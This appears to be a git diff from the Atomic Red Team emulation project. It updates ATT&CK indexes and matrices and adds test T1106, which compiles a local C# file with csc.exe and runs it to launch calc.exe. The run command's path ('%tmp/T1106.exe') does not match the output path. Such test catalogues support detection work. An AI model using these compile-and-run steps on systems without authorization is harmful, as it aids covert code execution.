echniqueID":"T1500","score":100,"enabled":true},{"techniqueID":"T1501","score":100,"enabled":true},{"techniqueID":"T1502","score":100,"enabled":true},{"techniqueID":"T1504","score":100,"enabled":true},{"techniqueID":"T1505","score":100,"enabled":true},{"techniqueID":"T1518","score":100,"enabled":true},{"techniqueID":"T1519","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true},{"techniqueID":"T1531","score":100,"enabled":true}]} \ No newline at end of file +{"version":"2.2","name":"Atomic Red Team","description":"Atomic Red Team MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1002","score":100,"enabled":true},{"techniqueID":"T1003","score":100,"enabled":true},{"techniqueID":"T1004","score":100,"enabled":true},{"techniqueID":"T1005","score":100,"enabled":true},{"techniqueID":"T1007","score":100,"enabled":true},{"techniqueID":"T1009","score":100,"enabled":true},{"techniqueID":"T1010","score":100,"enabled":true},{"techniqueID":"T1012","score":100,"enabled":true},{"techniqueID":"T1014","score":100,"enabled":true},{"techniqueID":"T1015","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1022","score":100,"enabled":true},{"techniqueID":"T1023","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1028","score":100,"enabled":true},{"techniqueID":"T1030","score":100,"enabled":true},{"techniqueID":"T1031","score":100,"enabled":true},{"techniqueID":"T1032","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1035","score":100,"enabled":true},{"techniqueID":"T1036","score":100,"enabled":true},{"techniqueID":"T1037","score":100,"enabled":true},{"techniqueID":"T1038","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1042","score":100,"enabled":true},{"techniqueID":"T1044","score":100,"enabled":true},{"techniqueID":"T1045","score":100,"enabled":true},{"techniqueID":"T1046","score":100,"enabled":true},{"techniqueID":"T1047","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1050","score":100,"enabled":true},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1055","score":100,"enabled":true},{"techniqueID":"T1056","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1058","score":100,"enabled":true},{"techniqueID":"T1059","score":100,"enabled":true},{"techniqueID":"T1060","score":100,"enabled":true},{"techniqueID":"T1062","score":100,"enabled":true},{"techniqueID":"T1063","score":100,"enabled":true},{"techniqueID":"T1064","score":100,"enabled":true},{"techniqueID":"T1065","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1073","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1075","score":100,"enabled":true},{"techniqueID":"T1076","score":100,"enabled":true},{"techniqueID":"T1077","score":100,"enabled":true},{"techniqueID":"T1081","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1084","score":100,"enabled":true},{"techniqueID":"T1085","score":100,"enabled":true},{"techniqueID":"T1086","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1088","score":100,"enabled":true},{"techniqueID":"T1089","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1093","score":100,"enabled":true},{"techniqueID":"T1095","score":100,"enabled":true},{"techniqueID":"T1096","score":100,"enabled":true},{"techniqueID":"T1097","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1099","score":100,"enabled":true},{"techniqueID":"T1100","score":100,"enabled":true},{"techniqueID":"T1101","score":100,"enabled":true},{"techniqueID":"T1102","score":100,"enabled":true},{"techniqueID":"T1103","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1106","score":100,"enabled":true},{"techniqueID":"T1107","score":100,"enabled":true},{"techniqueID":"T1110","score":100,"enabled":true},{"techniqueID":"T1112","score":100,"enabled":true},{"techniqueID":"T1113","score":100,"enabled":true},{"techniqueID":"T1114","score":100,"enabled":true},{"techniqueID":"T1115","score":100,"enabled":true},{"techniqueID":"T1117","score":100,"enabled":true},{"techniqueID":"T1118","score":100,"enabled":true},{"techniqueID":"T1119","score":100,"enabled":true},{"techniqueID":"T1121","score":100,"enabled":true},{"techniqueID":"T1122","score":100,"enabled":true},{"techniqueID":"T1123","score":100,"enabled":true},{"techniqueID":"T1124","score":100,"enabled":true},{"techniqueID":"T1126","score":100,"enabled":true},{"techniqueID":"T1127","score":100,"enabled":true},{"techniqueID":"T1128","score":100,"enabled":true},{"techniqueID":"T1130","score":100,"enabled":true},{"techniqueID":"T1132","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1137","score":100,"enabled":true},{"techniqueID":"T1138","score":100,"enabled":true},{"techniqueID":"T1139","score":100,"enabled":true},{"techniqueID":"T1140","score":100,"enabled":true},{"techniqueID":"T1141","score":100,"enabled":true},{"techniqueID":"T1142","score":100,"enabled":true},{"techniqueID":"T1143","score":100,"enabled":true},{"techniqueID":"T1144","score":100,"enabled":true},{"techniqueID":"T1145","score":100,"enabled":true},{"techniqueID":"T1146","score":100,"enabled":true},{"techniqueID":"T1147","score":100,"enabled":true},{"techniqueID":"T1148","score":100,"enabled":true},{"techniqueID":"T1150","score":100,"enabled":true},{"techniqueID":"T1151","score":100,"enabled":true},{"techniqueID":"T1152","score":100,"enabled":true},{"techniqueID":"T1153","score":100,"enabled":true},{"techniqueID":"T1154","score":100,"enabled":true},{"techniqueID":"T1155","score":100,"enabled":true},{"techniqueID":"T1156","score":100,"enabled":true},{"techniqueID":"T1158","score":100,"enabled":true},{"techniqueID":"T1159","score":100,"enabled":true},{"techniqueID":"T1160","score":100,"enabled":true},{"techniqueID":"T1163","score":100,"enabled":true},{"techniqueID":"T1164","score":100,"enabled":true},{"techniqueID":"T1165","score":100,"enabled":true},{"techniqueID":"T1166","score":100,"enabled":true},{"techniqueID":"T1168","score":100,"enabled":true},{"techniqueID":"T1169","score":100,"enabled":true},{"techniqueID":"T1170","score":100,"enabled":true},{"techniqueID":"T1173","score":100,"enabled":true},{"techniqueID":"T1174","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1179","score":100,"enabled":true},{"techniqueID":"T1180","score":100,"enabled":true},{"techniqueID":"T1183","score":100,"enabled":true},{"techniqueID":"T1191","score":100,"enabled":true},{"techniqueID":"T1193","score":100,"enabled":true},{"techniqueID":"T1196","score":100,"enabled":true},{"techniqueID":"T1197","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1202","score":100,"enabled":true},{"techniqueID":"T1204","score":100,"enabled":true},{"techniqueID":"T1206","score":100,"enabled":true},{"techniqueID":"T1207","score":100,"enabled":true},{"techniqueID":"T1208","score":100,"enabled":true},{"techniqueID":"T1214","score":100,"enabled":true},{"techniqueID":"T1215","score":100,"enabled":true},{"techniqueID":"T1216","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1218","score":100,"enabled":true},{"techniqueID":"T1219","score":100,"enabled":true},{"techniqueID":"T1220","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1223","score":100,"enabled":true},{"techniqueID":"T1482","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1489","score":100,"enabled":true},{"techniqueID":"T1490","score":100,"enabled":true},{"techniqueID":"T1496","score":100,"enabled":true},{"techniqueID":"T1500","score":100,"enabled":true},{"techniqueID":"T1501","score":100,"enabled":true},{"techniqueID":"T1502","score":100,"enabled":true},{"techniqueID":"T1504","score":100,"enabled":true},{"techniqueID":"T1505","score":100,"enabled":true},{"techniqueID":"T1518","score":100,"enabled":true},{"techniqueID":"T1519","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true},{"techniqueID":"T1531","score":100,"enabled":true}]} \ No newline at end of file diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index edd6b721..3b4219a6 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -477,6 +477,7 @@ execution,T1223,Compiled HTML File,2,Compiled HTML Help Remote Payload execution,T1196,Control Panel Items,1,Control Panel Items execution,T1173,Dynamic Data Exchange,1,Execute Commands execution,T1173,Dynamic Data Exchange,2,Execute PowerShell script via Word DDE +execution,T1106,Execution through API,1,Execution through API - CreateProcess execution,T1118,InstallUtil,1,CheckIfInstallable method call execution,T1118,InstallUtil,2,InstallHelper method call execution,T1118,InstallUtil,3,InstallUtil class constructor method call diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index a3a9bcbd..ec1a5336 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -358,6 +358,7 @@ execution,T1223,Compiled HTML File,2,Compiled HTML Help Remote Payload execution,T1196,Control Panel Items,1,Control Panel Items execution,T1173,Dynamic Data Exchange,1,Execute Commands execution,T1173,Dynamic Data Exchange,2,Execute PowerShell script via Word DDE +execution,T1106,Execution through API,1,Execution through API - CreateProcess execution,T1118,InstallUtil,1,CheckIfInstallable method call execution,T1118,InstallUtil,2,InstallHelper method call execution,T1118,InstallUtil,3,InstallUtil class constructor method call diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index 904ddb0f..f6921308 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -729,7 +729,8 @@ - [T1173 Dynamic Data Exchange](../../T1173/T1173.md) - Atomic Test #1: Execute Commands [windows] - Atomic Test #2: Execute PowerShell script via Word DDE [windows] -- T1106 Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1106 Execution through API](../../T1106/T1106.md) + - Atomic Test #1: Execution through API - CreateProcess [windows] - T1129 Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 57779f2f..1bccb589 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -605,7 +605,8 @@ - [T1173 Dynamic Data Exchange](../../T1173/T1173.md) - Atomic Test #1: Execute Commands [windows] - Atomic Test #2: Execute PowerShell script via Word DDE [windows] -- T1106 Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1106 Execution through API](../../T1106/T1106.md) + - Atomic Test #1: Execution through API - CreateProcess [windows] - T1129 Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Matrices/matrix.md b/atomics/Indexes/Matrices/matrix.md index 9a013f58..46d962ca 100644 --- a/atomics/Indexes/Matrices/matrix.md +++ b/atomics/Indexes/Matrices/matrix.md @@ -8,7 +8,7 @@ | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](../../T1103/T1103.md) | [Application Shimming](../../T1138/T1138.md) | [Bypass User Account Control](../../T1088/T1088.md) | [Credential Dumping](../../T1003/T1003.md) | Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Spearphishing Attachment](../../T1193/T1193.md) | [Control Panel Items](../../T1196/T1196.md) | [Application Shimming](../../T1138/T1138.md) | [Bypass User Account Control](../../T1088/T1088.md) | [CMSTP](../../T1191/T1191.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Trust Discovery](../../T1482/T1482.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](../../T1132/T1132.md) | Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](../../T1173/T1173.md) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DLL Search Order Hijacking](../../T1038/T1038.md) | [Clear Command History](../../T1146/T1146.md) | [Credentials in Files](../../T1081/T1081.md) | [File and Directory Discovery](../../T1083/T1083.md) | [Logon Scripts](../../T1037/T1037.md) | [Data from Local System](../../T1005/T1005.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](../../T1197/T1197.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Registry](../../T1214/T1214.md) | [Network Service Scanning](../../T1046/T1046.md) | [Pass the Hash](../../T1075/T1075.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Execution through API](../../T1106/T1106.md) | [BITS Jobs](../../T1197/T1197.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Registry](../../T1214/T1214.md) | [Network Service Scanning](../../T1046/T1046.md) | [Pass the Hash](../../T1075/T1075.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compile After Delivery](../../T1500/T1500.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](../../T1135/T1135.md) | [Pass the Ticket](../../T1097/T1097.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Inhibit System Recovery](../../T1490/T1490.md) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](../../T1176/T1176.md) | [Emond](../../T1519/T1519.md) | [Compiled HTML File](../../T1223/T1223.md) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](../../T1040/T1040.md) | [Remote Desktop Protocol](../../T1076/T1076.md) | [Email Collection](../../T1114/T1114.md) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Change Default File Association](../../T1042/T1042.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](../../T1179/T1179.md) | [Password Policy Discovery](../../T1201/T1201.md) | [Remote File Copy](../../T1105/T1105.md) | [Input Capture](../../T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Resource Hijacking](../../T1496/T1496.md) | diff --git a/atomics/Indexes/Matrices/windows-matrix.md b/atomics/Indexes/Matrices/windows-matrix.md index d80cc8c5..efe2b63a 100644 --- a/atomics/Indexes/Matrices/windows-matrix.md +++ b/atomics/Indexes/Matrices/windows-matrix.md @@ -7,7 +7,7 @@ | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](../../T1103/T1103.md) | [AppInit DLLs](../../T1103/T1103.md) | [Bypass User Account Control](../../T1088/T1088.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Trust Discovery](../../T1482/T1482.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](../../T1074/T1074.md) | Data Transfer Size Limits [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Control Panel Items](../../T1196/T1196.md) | [Application Shimming](../../T1138/T1138.md) | [Application Shimming](../../T1138/T1138.md) | [CMSTP](../../T1191/T1191.md) | [Credentials in Files](../../T1081/T1081.md) | [File and Directory Discovery](../../T1083/T1083.md) | [Logon Scripts](../../T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Spearphishing Attachment](../../T1193/T1193.md) | [Dynamic Data Exchange](../../T1173/T1173.md) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bypass User Account Control](../../T1088/T1088.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Registry](../../T1214/T1214.md) | Network Service Scanning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Pass the Hash](../../T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](../../T1197/T1197.md) | [DLL Search Order Hijacking](../../T1038/T1038.md) | [Compile After Delivery](../../T1500/T1500.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](../../T1135/T1135.md) | [Pass the Ticket](../../T1097/T1097.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Execution through API](../../T1106/T1106.md) | [BITS Jobs](../../T1197/T1197.md) | [DLL Search Order Hijacking](../../T1038/T1038.md) | [Compile After Delivery](../../T1500/T1500.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](../../T1135/T1135.md) | [Pass the Ticket](../../T1097/T1097.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](../../T1223/T1223.md) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](../../T1040/T1040.md) | [Remote Desktop Protocol](../../T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](../../T1176/T1176.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](../../T1179/T1179.md) | [Password Policy Discovery](../../T1201/T1201.md) | [Remote File Copy](../../T1105/T1105.md) | [Email Collection](../../T1114/T1114.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Inhibit System Recovery](../../T1490/T1490.md) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Change Default File Association](../../T1042/T1042.md) | [File System Permissions Weakness](../../T1044/T1044.md) | [Component Object Model Hijacking](../../T1122/T1122.md) | [Input Capture](../../T1056/T1056.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](../../T1056/T1056.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 37def328..1b75da88 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -23050,6 +23050,89 @@ execution: command: 'start $PathToAtomicsFolder\T1173\bin\DDE_Document.docx ' + T1106: + technique: + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + x_mitre_data_sources: + - API monitoring + - Process monitoring + name: Execution through API + description: |- + Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess) + + Additional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier) + + * CreateProcessA() and CreateProcessW(), + * CreateProcessAsUserA() and CreateProcessAsUserW(), + * CreateProcessInternalA() and CreateProcessInternalW(), + * CreateProcessWithLogonW(), CreateProcessWithTokenW(), + * LoadLibraryA() and LoadLibraryW(), + * LoadLibraryExA() and LoadLibraryExW(), + * LoadModule(), + * LoadPackagedLibrary(), + * WinExec(), + * ShellExecuteA() and ShellExecuteW(), + * ShellExecuteExA() and ShellExecuteExW() + x_mitre_remote_support: false + id: attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitoring API calls may generate a significant amount of + data and may not be directly useful for defense unless collected under specific + circumstances, since benign use of Windows API functions such as CreateProcess + are common and difficult to distinguish from malicious behavior. Correlation + of other events with behavior surrounding API function calls using API monitoring + will provide additional context to an event that may assist in determining + if it is due to malicious behavior. Correlation of activity by process lineage + by process ID may be sufficient. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + created: '2017-05-31T21:31:17.472Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1106 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1106 + - source_name: Microsoft CreateProcess + description: Microsoft. (n.d.). CreateProcess function. Retrieved December + 5, 2014. + url: http://msdn.microsoft.com/en-us/library/ms682425 + - source_name: Kanthak Verifier + description: Kanthak, S. (2017). Application Verifier Provider. Retrieved + February 13, 2017. + url: https://skanthak.homepage.t-online.de/verifier.html + modified: '2019-07-17T20:10:02.128Z' + identifier: T1106 + atomic_tests: + - name: Execution through API - CreateProcess + description: Execute program by leveraging Win32 API's. By default, this will + launch calc.exe from the command prompt. + supported_platforms: + - windows + input_arguments: + source_file: + description: Location of the CSharp source_file + type: Path + default: PathToAtomicsFolder\T1106\src\CreateProcess.cs + output_file: + description: Location of the payload + type: Path + default: "%tmp%\\T1106.exe" + executor: + command: | + C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe #{source_file} + %tmp/T1106.exe + name: command_prompt T1118: technique: x_mitre_data_sources: diff --git a/atomics/T1106/T1106.md b/atomics/T1106/T1106.md new file mode 100644 index 00000000..679dd5ab --- /dev/null +++ b/atomics/T1106/T1106.md @@ -0,0 +1,53 @@ +# T1106 - Execution through API +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1106) +

Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess) + +Additional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier) + +* CreateProcessA() and CreateProcessW(), +* CreateProcessAsUserA() and CreateProcessAsUserW(), +* CreateProcessInternalA() and CreateProcessInternalW(), +* CreateProcessWithLogonW(), CreateProcessWithTokenW(), +* LoadLibraryA() and LoadLibraryW(), +* LoadLibraryExA() and LoadLibraryExW(), +* LoadModule(), +* LoadPackagedLibrary(), +* WinExec(), +* ShellExecuteA() and ShellExecuteW(), +* ShellExecuteExA() and ShellExecuteExW()
+ +## Atomic Tests + +- [Atomic Test #1 - Execution through API - CreateProcess](#atomic-test-1---execution-through-api---createprocess) + + +
+ +## Atomic Test #1 - Execution through API - CreateProcess +Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt. +**Supported Platforms:** Windows + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| source_file | Location of the CSharp source_file | Path | PathToAtomicsFolder\T1106\src\CreateProcess.cs| +| output_file | Location of the payload | Path | %tmp%\T1106.exe| + + +#### Attack Commands: Run with `command_prompt`! + + +```cmd +C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe #{source_file} +%tmp/T1106.exe +``` + + + + + + +
